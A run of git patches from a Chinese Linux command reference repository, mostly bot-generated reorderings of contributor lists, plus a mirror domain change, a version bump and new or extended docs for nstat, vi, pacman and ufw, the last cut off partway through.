Chenyu +Xingwen Zhang +Xrtero +YH +Alterem +Dazhuangw jqz3.tech -Forever121 +juemuren4449 +kassadin +kid1412621 +leo +lewis1573 linuxwd Ricardowang cole @@ -65,55 +66,54 @@ noodles2hg nsnans oliver -cxalc -dayday -Deny -dongpohezui -duzhuoshanwai -ecjtusbs -gang.yang -gedune -gesty -ghy -githubwxz -gcluffy -hotdogc1017 -huangyao -hululu1068 jcdj666 -七朔 -孤城落寞 -尘埃 -Wei Xu -Loofra -扶苏如是 -ReZero -极简XksA -移动的红烧肉 -继刚 -老犁 -Kyofin -谢民皆 -远方 -bycs +hululu1068 +huangyao +hotdogc1017 +gcluffy +githubwxz +ghy +gesty +gedune +gang.yang +ecjtusbs +dongpohezui +Deny +dayday +cxalc +Q.Ben Zheng Yidan Wang -rexlin600 -sfwwslm -shc -shuangcui -snovey -tangke -tutianyu101 -UniqueDing -weibk -Lingfeng Wang -yanyx -zjlovezj -zodiac -zoomdong -zuixin369 +bycs +远方 +谢民皆 +Kyofin +老犁 +继刚 +移动的红烧肉 +极简XksA +ReZero +扶苏如是 +Loofra +Wei Xu +尘埃 +孤城落寞 +七朔 zyimm -Q.Ben Zheng +zuixin369 +zoomdong +zodiac +zjlovezj +yanyx +Lingfeng Wang +weibk +UniqueDing +tutianyu101 +tangke +snovey +shuangcui +shc +sfwwslm +rexlin600 Mystic MinsonLee Marnm @@ -141,9 +141,10 @@ Danny DaYangtuo247 Cui Yang -Azroy +azroy Alan 0x_000 +Forever121 chaofan c2ch brinkqiang @@ -173,8 +174,7 @@ Rocher Robigus Rining Wu -Ray Yee -QinShower +Ray Yee

数据来源于 GitHub Contributors，使用action-contributors创建。 From 2507c01aefb7b642ffbd29a2eee99a7d452183d7 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 11 Jan 2025 03:08:24 +0000 Subject: [PATCH 0969/1019] doc: update README.md. --- README.md | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index 79063b9841c..fc680067304 100644 --- a/README.md +++ b/README.md @@ -312,24 +312,23 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. ernest dulltackle zyy2477 +rgshare +loverainye SteveLauC YEUNGCHIE +lavaicer MioMuse James Wang -lavaicer -loverainye -rgshare -Qliangw +Ein Verne +gggwvg +VVatt +will +xhal +Shell 沙漠之子 +Qliangw Wang Yujia -Shell -xhal -will -VVatt -gggwvg alfred -duzhuoshanwai -Ein Verne BingCoke FunKeen Jeremy2214 @@ -367,11 +366,11 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. gedune gang.yang ecjtusbs +duzhuoshanwai dongpohezui Deny dayday cxalc -Q.Ben Zheng Yidan Wang bycs 远方 @@ -404,6 +403,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shc sfwwslm rexlin600 +Q.Ben Zheng Mystic MinsonLee Marnm From b8469913bda874ad4e6565feeb82b03a5123be22 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 11 Jan 2025 03:08:24 +0000 Subject: [PATCH 0970/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 65bfe00654f..6baa3744322 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -22,24 +22,23 @@ ernest dulltackle zyy2477 +rgshare +loverainye SteveLauC YEUNGCHIE +lavaicer MioMuse James Wang -lavaicer -loverainye -rgshare -Qliangw +Ein Verne +gggwvg +VVatt +will +xhal +Shell 沙漠之子 +Qliangw Wang Yujia -Shell -xhal -will -VVatt -gggwvg alfred -duzhuoshanwai -Ein Verne BingCoke FunKeen Jeremy2214 @@ -77,11 +76,11 @@ gedune gang.yang ecjtusbs +duzhuoshanwai dongpohezui Deny dayday cxalc -Q.Ben Zheng Yidan Wang bycs 远方 @@ -114,6 +113,7 @@ shc sfwwslm rexlin600 +Q.Ben Zheng Mystic MinsonLee Marnm From 025cc0024d82a286a8a23e6f321c54df23f96d48 Mon Sep 17 00:00:00 2001 From: Shan Chenyu <103872353+ischenyu@users.noreply.github.com> Date: Sat, 1 Feb 2025 20:05:37 +0800 Subject: [PATCH 0971/1019] doc: Update README.md (#631) Replaced the expired domain name --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index fc680067304..e7e400ce4c2 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ **推荐使用的镜像 web 版本** -[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.xyz`](https://linux.alistnas.xyz/)，[`nenufm.com`](https://www.nenufm.com/linux-command/) +[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.top`](https://linux.alistnas.top/)，[`nenufm.com`](https://www.nenufm.com/linux-command/) **其它 web 版本** From 5e883e0dd3f2dca3325c0741d2855cc27dcae21b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 1 Feb 2025 12:06:10 +0000 Subject: [PATCH 0972/1019] doc: update README.md. --- README.md | 62 +++++++++++++++++++++++++++---------------------------- 1 file changed, 31 insertions(+), 31 deletions(-) diff --git a/README.md b/README.md index e7e400ce4c2..9de0b9d1ce2 100644 --- a/README.md +++ b/README.md @@ -312,41 +312,42 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. ernest dulltackle zyy2477 -rgshare -loverainye SteveLauC -YEUNGCHIE -lavaicer MioMuse +Shan Chenyu James Wang -Ein Verne -gggwvg -VVatt -will -xhal -Shell -沙漠之子 +YEUNGCHIE +lavaicer +loverainye +rgshare Qliangw Wang Yujia +沙漠之子 alfred -BingCoke -FunKeen -Jeremy2214 -Pan, Wen-Ming -QinShower -RichardLCD -Shan Chenyu -Xingwen Zhang -Xrtero -YH -Alterem +Shell +xhal +will +VVatt +gggwvg +duzhuoshanwai Dazhuangw -jqz3.tech -juemuren4449 -kassadin -kid1412621 -leo +Alterem +YH +Xrtero +Xingwen Zhang +RichardLCD +QinShower +Pan, Wen-Ming +Jeremy2214 +FunKeen +BingCoke +Ein Verne lewis1573 +leo +kid1412621 +kassadin +juemuren4449 +jqz3.tech linuxwd Ricardowang cole @@ -366,11 +367,11 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. gedune gang.yang ecjtusbs -duzhuoshanwai dongpohezui Deny dayday cxalc +Q.Ben Zheng Yidan Wang bycs 远方 @@ -403,7 +404,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shc sfwwslm rexlin600 -Q.Ben Zheng Mystic MinsonLee Marnm @@ -423,11 +423,11 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Jack Huntout Zhang HighScorePlayer -Herbert8 +重劍無鋒 Guiying Li Frankie Divenire -Derek +Derek Danny DaYangtuo247 Cui Yang From 9585b89cda8f292b898a0d8135dc7aca5d303541 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 1 Feb 2025 12:06:11 +0000 Subject: [PATCH 0973/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 62 +++++++++++++++++++-------------------- 1 file changed, 31 insertions(+), 31 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 6baa3744322..9abf086e703 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -22,41 +22,42 @@ ernest dulltackle zyy2477 -rgshare -loverainye SteveLauC -YEUNGCHIE -lavaicer MioMuse +Shan Chenyu James Wang -Ein Verne -gggwvg -VVatt -will -xhal -Shell -沙漠之子 +YEUNGCHIE +lavaicer +loverainye +rgshare Qliangw Wang Yujia +沙漠之子 alfred -BingCoke -FunKeen -Jeremy2214 -Pan, Wen-Ming -QinShower -RichardLCD -Shan Chenyu -Xingwen Zhang -Xrtero -YH -Alterem +Shell +xhal +will +VVatt +gggwvg +duzhuoshanwai Dazhuangw -jqz3.tech -juemuren4449 -kassadin -kid1412621 -leo +Alterem +YH +Xrtero +Xingwen Zhang +RichardLCD +QinShower +Pan, Wen-Ming +Jeremy2214 +FunKeen +BingCoke +Ein Verne lewis1573 +leo +kid1412621 +kassadin +juemuren4449 +jqz3.tech linuxwd Ricardowang cole @@ -76,11 +77,11 @@ gedune gang.yang ecjtusbs -duzhuoshanwai dongpohezui Deny dayday cxalc +Q.Ben Zheng Yidan Wang bycs 远方 @@ -113,7 +114,6 @@ shc sfwwslm rexlin600 -Q.Ben Zheng Mystic MinsonLee Marnm @@ -133,11 +133,11 @@ Jack Huntout Zhang HighScorePlayer -Herbert8 +重劍無鋒 Guiying Li Frankie Divenire -Derek +Derek Danny DaYangtuo247 Cui Yang From 87a3efdb86e115c0682604b59be0e7d6e3c2659b Mon Sep 17 00:00:00 2001 From: waiwai <131680154+waiwai24@users.noreply.github.com> Date: Mon, 10 Feb 2025 09:09:59 +0800 Subject: [PATCH 0974/1019] Add nstat.md and updata Readme.md (#632) * Update README.md * Update README.md * add nstat.md --- README.md | 2 +- command/nstat.md | 137 +++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 138 insertions(+), 1 deletion(-) create mode 100644 command/nstat.md diff --git a/README.md b/README.md index 9de0b9d1ce2..c2618a74d4a 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@ [![jsdelivr cdn](https://data.jsdelivr.com/v1/package/npm/linux-command/badge)](https://www.jsdelivr.com/package/npm/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) -当前仓库搜集了 580 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 +当前仓库搜集了 600 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 ## Web 版本 diff --git a/command/nstat.md b/command/nstat.md new file mode 100644 index 00000000000..45d0c42cd7b --- /dev/null +++ b/command/nstat.md @@ -0,0 +1,137 @@ +nstat +=== + +nstat 是一个简单的监视内核的 SNMP 计数器和网络接口状态的实用工具。 + +## 补充说明 + +大多数命令行用户都熟悉 netstat ，这是 net-tools 软件包中的命令。目前新版本中 net-tools 软件包几乎完全被弃用，取而代之的是 ip 命令套件，而 nstat 属于新软件包。 + +### 语法 + +```s +nstat [OPTION] [ PATTERN [ PATTERN ] ] +``` + +### 选项 + +```shell +-h：显示帮助信息； +-V：显示指令版本信息； +-z：转储零计数器。默认情况下不显示它们； +-r：清零历史统计； +-n：不显示任何内容，仅更新历史； +-a：显示计数器的绝对值； +-d：以守护进程模式运行并收集统计数据 +-s：不更新历史； +-j：JSON格式输出。 +``` + +### 实例 + +直接输入以查询网络接口状态，以下展示了 IPv4，IPv6，TCP，UDP，ICMP 的统计数据： + +```shell +nstat +#kernel +IpInReceives 769152 0.0 +IpInAddrErrors 1 0.0 +IpInDelivers 769146 0.0 +IpOutRequests 764236 0.0 +IpOutDiscards 20 0.0 +IpOutNoRoutes 1 0.0 +IcmpInMsgs 92 0.0 +IcmpInDestUnreachs 92 0.0 +IcmpOutMsgs 94 0.0 +IcmpOutDestUnreachs 94 0.0 +IcmpMsgInType3 92 0.0 +IcmpMsgOutType3 94 0.0 +TcpActiveOpens 1786 0.0 +TcpPassiveOpens 142 0.0 +TcpAttemptFails 11 0.0 +TcpEstabResets 72 0.0 +TcpInSegs 756827 0.0 +TcpOutSegs 802908 0.0 +TcpRetransSegs 767 0.0 +TcpOutRsts 702 0.0 +UdpInDatagrams 12075 0.0 +UdpNoPorts 82 0.0 +UdpOutDatagrams 7045 0.0 +UdpIgnoredMulti 70 0.0 +Ip6InReceives 5005 0.0 +Ip6InDelivers 5005 0.0 +Ip6OutRequests 131 0.0 +Ip6OutDiscards 2 0.0 +Ip6OutNoRoutes 959 0.0 +Ip6InMcastPkts 4999 0.0 +Ip6OutMcastPkts 125 0.0 +Ip6InOctets 797462 0.0 +Ip6OutOctets 16421 0.0 +Ip6InMcastOctets 797030 0.0 +Ip6OutMcastOctets 15949 0.0 +Ip6InNoECTPkts 5005 0.0 +Icmp6InMsgs 3 0.0 +Icmp6OutMsgs 51 0.0 +Icmp6InNeighborAdvertisements 1 0.0 +Icmp6InMLDv2Reports 2 0.0 +Icmp6OutRouterSolicits 11 0.0 +Icmp6OutNeighborSolicits 4 0.0 +Icmp6OutMLDv2Reports 36 0.0 +Icmp6InType136 1 0.0 +Icmp6InType143 2 0.0 +Icmp6OutType133 11 0.0 +Icmp6OutType135 4 0.0 +Icmp6OutType143 36 0.0 +Udp6InDatagrams 4998 0.0 +Udp6OutDatagrams 76 0.0 +TcpExtTW 385 0.0 +TcpExtPAWSEstab 1 0.0 +TcpExtDelayedACKs 37133 0.0 +TcpExtDelayedACKLocked 57 0.0 +TcpExtDelayedACKLost 456 0.0 +TcpExtTCPHPHits 417717 0.0 +TcpExtTCPPureAcks 34186 0.0 +TcpExtTCPHPAcks 222980 0.0 +TcpExtTCPSACKReorder 1 0.0 +TcpExtTCPLossUndo 194 0.0 +TcpExtTCPLostRetransmit 169 0.0 +TcpExtTCPSlowStartRetrans 1 0.0 +TcpExtTCPTimeouts 494 0.0 +TcpExtTCPLossProbes 309 0.0 +TcpExtTCPBacklogCoalesce 571 0.0 +TcpExtTCPDSACKOldSent 281 0.0 +TcpExtTCPDSACKRecv 281 0.0 +TcpExtTCPAbortOnData 13 0.0 +TcpExtTCPAbortOnClose 30 0.0 +TcpExtTCPDSACKIgnoredOld 1 0.0 +TcpExtTCPDSACKIgnoredNoUndo 258 0.0 +TcpExtTCPSackShiftFallback 1 0.0 +TcpExtTCPRcvCoalesce 18314 0.0 +TcpExtTCPFastOpenActiveFail 2 0.0 +TcpExtTCPSpuriousRtxHostQueues 11 0.0 +TcpExtTCPAutoCorking 1684 0.0 +TcpExtTCPFromZeroWindowAdv 2 0.0 +TcpExtTCPToZeroWindowAdv 2 0.0 +TcpExtTCPSynRetrans 479 0.0 +TcpExtTCPOrigDataSent 359814 0.0 +TcpExtTCPHystartTrainDetect 13 0.0 +TcpExtTCPHystartTrainCwnd 550 0.0 +TcpExtTCPKeepAlive 18 0.0 +TcpExtTCPDelivered 361695 0.0 +TcpExtTCPZeroWindowDrop 1 0.0 +TcpExtTcpTimeoutRehash 494 0.0 +TcpExtTcpDuplicateDataRehash 2 0.0 +TcpExtTCPDSACKRecvSegs 281 0.0 +IpExtInNoRoutes 3 0.0 +IpExtInMcastPkts 5392 0.0 +IpExtOutMcastPkts 221 0.0 +IpExtInBcastPkts 70 0.0 +IpExtOutBcastPkts 10 0.0 +IpExtInOctets 2100280442 0.0 +IpExtOutOctets 226760631 0.0 +IpExtInMcastOctets 746608 0.0 +IpExtOutMcastOctets 27565 0.0 +IpExtInBcastOctets 5674 0.0 +IpExtOutBcastOctets 778 0.0 +IpExtInNoECTPkts 1885871 0.0 +``` \ No newline at end of file From b066d7a2dad799696c7c2125a9998c23d094be4e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 10 Feb 2025 01:10:31 +0000 Subject: [PATCH 0975/1019] doc: update README.md. --- README.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index c2618a74d4a..8910741d6c7 100644 --- a/README.md +++ b/README.md @@ -342,13 +342,12 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. FunKeen BingCoke Ein Verne +linuxwd lewis1573 leo kid1412621 kassadin juemuren4449 -jqz3.tech -linuxwd Ricardowang cole dufu @@ -356,6 +355,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver +rexlin600 +jqz3.tech jcdj666 hululu1068 huangyao @@ -371,7 +372,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Deny dayday cxalc -Q.Ben Zheng Yidan Wang bycs 远方 @@ -396,6 +396,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. yanyx Lingfeng Wang weibk +waiwai UniqueDing tutianyu101 tangke @@ -403,7 +404,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shuangcui shc sfwwslm -rexlin600 +Q.Ben Zheng Mystic MinsonLee Marnm From d0a57388a37a87afc719ed9cedcc58fd3a1625f1 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 10 Feb 2025 01:10:31 +0000 Subject: [PATCH 0976/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 9abf086e703..df27ac528f9 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -52,13 +52,12 @@ FunKeen BingCoke Ein Verne +linuxwd lewis1573 leo kid1412621 kassadin juemuren4449 -jqz3.tech -linuxwd Ricardowang cole dufu @@ -66,6 +65,8 @@ noodles2hg nsnans oliver +rexlin600 +jqz3.tech jcdj666 hululu1068 huangyao @@ -81,7 +82,6 @@ Deny dayday cxalc -Q.Ben Zheng Yidan Wang bycs 远方 @@ -106,6 +106,7 @@ yanyx Lingfeng Wang weibk +waiwai UniqueDing tutianyu101 tangke @@ -113,7 +114,7 @@ shuangcui shc sfwwslm -rexlin600 +Q.Ben Zheng Mystic MinsonLee Marnm From 4ce13f3cd8284ee782f0467fbd1491aeb34c8593 Mon Sep 17 00:00:00 2001 From: Jelly <141554249+JellyObjeck@users.noreply.github.com> Date: Mon, 10 Feb 2025 18:31:43 +0800 Subject: [PATCH 0977/1019] doc: Update vi.md (#633) --- command/vi.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/command/vi.md b/command/vi.md index 63ce4a16539..7536619c178 100644 --- a/command/vi.md +++ b/command/vi.md @@ -99,6 +99,9 @@ vi和ex编辑器的功能是相同的，二者的主要区别是用户界面。 则从文件第一行至文件末尾（$）将大写I全部替换成小写i。vi编辑器的三种工作方式之间的转换如图所示。 !vi +【查看行号】 +在 vi 或 vim 编辑器中，按 Esc，然后输入： +:set number From 60d460c5b30284749424d968c078fb9d97494188 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 10 Feb 2025 10:32:09 +0000 Subject: [PATCH 0978/1019] doc: update README.md. --- README.md | 97 ++++++++++++++++++++++++++++--------------------------- 1 file changed, 49 insertions(+), 48 deletions(-) diff --git a/README.md b/README.md index 8910741d6c7..67ab431e46e 100644 --- a/README.md +++ b/README.md @@ -348,6 +348,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. kid1412621 kassadin juemuren4449 +Forever121 Ricardowang cole dufu @@ -356,55 +357,54 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. nsnans oliver rexlin600 -jqz3.tech -jcdj666 -hululu1068 -huangyao -hotdogc1017 -gcluffy -githubwxz -ghy -gesty -gedune -gang.yang -ecjtusbs -dongpohezui -Deny -dayday cxalc -Yidan Wang -bycs -远方 -谢民皆 -Kyofin -老犁 -继刚 -移动的红烧肉 -极简XksA -ReZero -扶苏如是 -Loofra -Wei Xu -尘埃 -孤城落寞 +dayday +Deny +dongpohezui +ecjtusbs +gang.yang +gedune +gesty +ghy +githubwxz +gcluffy +hotdogc1017 +huangyao +hululu1068 +jcdj666 +jqz3.tech 七朔 -zyimm -zuixin369 -zoomdong -zodiac -zjlovezj -yanyx -Lingfeng Wang -weibk -waiwai -UniqueDing -tutianyu101 -tangke -snovey -shuangcui -shc +孤城落寞 +尘埃 +Wei Xu +Loofra +扶苏如是 +ReZero +极简XksA +移动的红烧肉 +继刚 +老犁 +Kyofin +谢民皆 +远方 +bycs +Yidan Wang sfwwslm -Q.Ben Zheng +shc +shuangcui +snovey +tangke +tutianyu101 +UniqueDing +waiwai +weibk +Lingfeng Wang +yanyx +zjlovezj +zodiac +zoomdong +zuixin369 +zyimm Mystic MinsonLee Marnm @@ -420,6 +420,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. LaudOak Karl Horky Nexchard +Jelly Jack.A.Black Jack Huntout Zhang @@ -435,7 +436,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. azroy Alan 0x_000 -Forever121 chaofan c2ch brinkqiang @@ -465,7 +465,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rocher Robigus Rining Wu -Ray Yee +Ray Yee +Q.Ben Zheng 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 5ff4e61c6d33846c8e0939ed7d65bc07937c6e05 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 10 Feb 2025 10:32:10 +0000 Subject: [PATCH 0979/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 97 ++++++++++++++++++++------------------- 1 file changed, 49 insertions(+), 48 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index df27ac528f9..dab9e0bdc01 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -58,6 +58,7 @@ kid1412621 kassadin juemuren4449 +Forever121 Ricardowang cole dufu @@ -66,55 +67,54 @@ nsnans oliver rexlin600 -jqz3.tech -jcdj666 -hululu1068 -huangyao -hotdogc1017 -gcluffy -githubwxz -ghy -gesty -gedune -gang.yang -ecjtusbs -dongpohezui -Deny -dayday cxalc -Yidan Wang -bycs -远方 -谢民皆 -Kyofin -老犁 -继刚 -移动的红烧肉 -极简XksA -ReZero -扶苏如是 -Loofra -Wei Xu -尘埃 -孤城落寞 +dayday +Deny +dongpohezui +ecjtusbs +gang.yang +gedune +gesty +ghy +githubwxz +gcluffy +hotdogc1017 +huangyao +hululu1068 +jcdj666 +jqz3.tech 七朔 -zyimm -zuixin369 -zoomdong -zodiac -zjlovezj -yanyx -Lingfeng Wang -weibk -waiwai -UniqueDing -tutianyu101 -tangke -snovey -shuangcui -shc +孤城落寞 +尘埃 +Wei Xu +Loofra +扶苏如是 +ReZero +极简XksA +移动的红烧肉 +继刚 +老犁 +Kyofin +谢民皆 +远方 +bycs +Yidan Wang sfwwslm -Q.Ben Zheng +shc +shuangcui +snovey +tangke +tutianyu101 +UniqueDing +waiwai +weibk +Lingfeng Wang +yanyx +zjlovezj +zodiac +zoomdong +zuixin369 +zyimm Mystic MinsonLee Marnm @@ -130,6 +130,7 @@ LaudOak Karl Horky Nexchard +Jelly Jack.A.Black Jack Huntout Zhang @@ -145,7 +146,6 @@ azroy Alan 0x_000 -Forever121 chaofan c2ch brinkqiang @@ -175,7 +175,8 @@ Rocher Robigus Rining Wu -Ray Yee +Ray Yee +Q.Ben Zheng

数据来源于 GitHub Contributors，使用action-contributors创建。 From a4a9cdaf17a21cb403eba356230ed4b11283d379 Mon Sep 17 00:00:00 2001 From: Xrtero <55886907+Xrtero@users.noreply.github.com> Date: Tue, 18 Feb 2025 13:39:39 +0800 Subject: [PATCH 0980/1019] doc: Update pacman.md (#634) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit update(doc):添加pacman的一些示例 --- command/pacman.md | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/command/pacman.md b/command/pacman.md index 83b953f2954..60ce0307a04 100644 --- a/command/pacman.md +++ b/command/pacman.md @@ -10,15 +10,20 @@ Arch Linux 系统及其衍生系统中默认使用的包管理器 ## 实例 ### 安装软件包 - +官方软件包 ```bash pacman -S p7zip ``` -也可以安装一个软件包组 +非官方软件包（用户制作） +```bash +yay -S package_name1 package_name2 ... +``` + +### 查询软件包 ```bash -pacman -S gnome +pacman -Ss package_name1 package_name2 ... ``` ### 列出所有软件包 From e5c4b39384a16448fe358d658ed63e2129f7e055 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 18 Feb 2025 05:40:28 +0000 Subject: [PATCH 0981/1019] doc: update README.md. --- README.md | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/README.md b/README.md index 67ab431e46e..cb037d1d429 100644 --- a/README.md +++ b/README.md @@ -312,28 +312,28 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. ernest dulltackle zyy2477 +rgshare +loverainye +lavaicer +YEUNGCHIE SteveLauC MioMuse -Shan Chenyu +Xrtero James Wang -YEUNGCHIE -lavaicer -loverainye -rgshare +Shan Chenyu +duzhuoshanwai +gggwvg +VVatt +will +xhal +Shell +沙漠之子 Qliangw Wang Yujia -沙漠之子 alfred -Shell -xhal -will -VVatt -gggwvg -duzhuoshanwai Dazhuangw Alterem YH -Xrtero Xingwen Zhang RichardLCD QinShower From 86cb964667a680019c456c71a45eed09889115e2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 18 Feb 2025 05:40:29 +0000 Subject: [PATCH 0982/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index dab9e0bdc01..61f29d0860f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -22,28 +22,28 @@ ernest dulltackle zyy2477 +rgshare +loverainye +lavaicer +YEUNGCHIE SteveLauC MioMuse -Shan Chenyu +Xrtero James Wang -YEUNGCHIE -lavaicer -loverainye -rgshare +Shan Chenyu +duzhuoshanwai +gggwvg +VVatt +will +xhal +Shell +沙漠之子 Qliangw Wang Yujia -沙漠之子 alfred -Shell -xhal -will -VVatt -gggwvg -duzhuoshanwai Dazhuangw Alterem YH -Xrtero Xingwen Zhang RichardLCD QinShower From 6fcaf53f18960d4138c3d4173b0a79d81fab07fb Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 21 Feb 2025 08:44:04 +0800 Subject: [PATCH 0983/1019] released v1.20.0 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 8bba58fe3ac..a5b637f755c 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.19.1", + "version": "1.20.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 4ce1d2da7ad35afac5aefe2b0a072a89979536c5 Mon Sep 17 00:00:00 2001 From: Github1977 <68886053+li7355608@users.noreply.github.com> Date: Mon, 24 Feb 2025 11:58:57 +0800 Subject: [PATCH 0984/1019] faet: add ufw.md (#636) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Create ufw.md 新增ufw命令 * Update ufw.md 修改标题获取 * Update ufw.md 规范格式 --- command/ufw.md | 104 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 104 insertions(+) create mode 100644 command/ufw.md diff --git a/command/ufw.md b/command/ufw.md new file mode 100644 index 00000000000..43ce91a1289 --- /dev/null +++ b/command/ufw.md @@ -0,0 +1,104 @@ +ufw +=== + +ubuntu防火墙管理工具 + +## 概要 + +```shell +sudo ufw [选项] [规则/命令] +``` + +## 用途 + +- 管理Ubuntu系统防火墙规则，简化`iptables`操作。 +- 启用或禁用防火墙，查看当前防火墙状态。 +- 快速配置允许/拒绝端口、服务或特定IP的访问。 + +## 参数 + +### 常用操作命令 + +- `enable`: 启用防火墙并设置开机自启。 +- `disable`: 关闭防火墙。 +- `reload`: 重新加载防火墙规则（不中断现有连接）。 +- `reset`: 重置所有规则到初始状态。 +- `allow `: 允许指定规则（如端口、服务）。 +- `deny `: 拒绝指定规则。 +- `status`: 显示防火墙状态和规则列表。 + +### 规则格式 + +- ``: 端口号（如 `22`、`80/tcp`）。 +- ``: 协议类型（`tcp` 或 `udp`）。 